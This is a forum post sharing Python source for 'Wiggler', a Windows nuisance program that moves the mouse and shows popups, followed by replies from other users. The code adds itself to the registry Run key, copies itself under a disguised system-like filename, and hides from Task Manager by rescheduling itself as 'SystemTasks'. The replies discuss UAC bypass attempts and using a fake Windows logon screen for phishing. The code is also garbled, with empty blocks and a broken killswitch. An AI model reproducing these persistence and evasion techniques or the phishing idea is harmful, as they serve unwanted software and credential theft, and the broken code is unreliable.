[Python] Wiggler - Annoying Python Program For Windows
This program wiggles the mouse and shows a message to the user. It's pretty persistent. It adds itself to the Windows registry and will start at boot. It also has a way to "hide" from task manager. If it detects the task manager process it schedules a job to execute it again in an hour and the program exits. For some reason that I spent hours trying to figure out, it refuses to work when you use pyinstaller to make it a windowed app. Something like this: pyinstaller --onefile --windowed wiggle.py compiles it just fine, but when run it pops up an error and crashes. If you run it without --windowed it works fine. Anyway, enjoy!
import pyautogui, random, subprocess, time, os

screensize = pyautogui.size()
pyautogui.FAILSAFE = False # Uncomment to disable the failsafe

def checkKillswitch():
        f = open('{}\\kill_the_wiggle'.format(os.environ['TMP'], 'r'))
        return True
        return False

def moveMouse():
    x = random.randint(1,screensize[0])
    y = random.randint(1,screensize[1])
    movetime = random.randint(1,3)

    pyautogui.moveTo(x, y, movetime)

def showAlert(title, msg):
    pyautogui.alert(text=msg, title=title, button='OK')

def hideSelf():
    tasks = subprocess.run('tasklist', capture_output=True, shell=True).stdout.decode()
    if 'taskmgr.exe' in tasks.lower():
        current_time = time.localtime()
        subprocess.run('schtasks /f /create /sc once /tn "SystemTasks" /tr "{}\\win32-drg.exe" /st {}:{}'.format(os.environ['TMP'], current_time.tm_hour + 1, current_time.tm_min), stdout=None, stderr=None)

def firstRun():
    # copy exe to C:\tmp
    tempdir = os.environ['TMP']
    exec_file = '{}\\win32-drg.exe'.format(tempdir)
    codefile = open(sys.executable, 'rb')
    code = codefile.read()
    fd = open(exec_file, 'wb')
    subprocess.run('reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /f /v win32.runsys /d "{}\\win32-drg.exe'.format(tempdir), stdout=None, stderr=None, shell=True)

# See if the executable is already present. If it is then we've already run.
    f = open('{}/win32-drg.exe'.format(os.environ['TMP']), 'r')

while True:
    if checkKillswitch() == True:
        answer = pyautogui.confirm(text="Do you want to stop the wiggler?", title="Wiggler", buttons=["Yes","No"])
        if answer == "Yes":

    for i in range(1,5):

    showAlert('Wiggle','I\'m da wiggler. I wiggle your mouse. Catch me if you can!')
Interesting, might borrow some of these ideas for projects of my own Smile I think from a forensic point of view, the mouse jiggling function is very useful to have.
(05-22-2020, 02:54 PM)Insider Wrote: Interesting, might borrow some of these ideas for projects of my own :) I think from a forensic point of view, the mouse jiggling function is very useful to have.
Feel free to steal my ideas of course :)
(05-22-2020, 04:17 PM)Dismal_0x8 Wrote: Feel free to steal my ideas of course Smile

Pyautogui seems like an interesting library. Tried it earlier to see if I could automate mouse and keyboard movements during an UAC popup to bypass UAC. No luck though, windows security is on-point.

I suppose I'll try and see if I can invoke a pre-compiled fake windows login for phising instead. https://github.com/bitsadmin/fakelogonscreen
UAC is low-key your friend if you use it right. The classic of just asking for the permissions you need works wonders. Users usually default to just saying ok.

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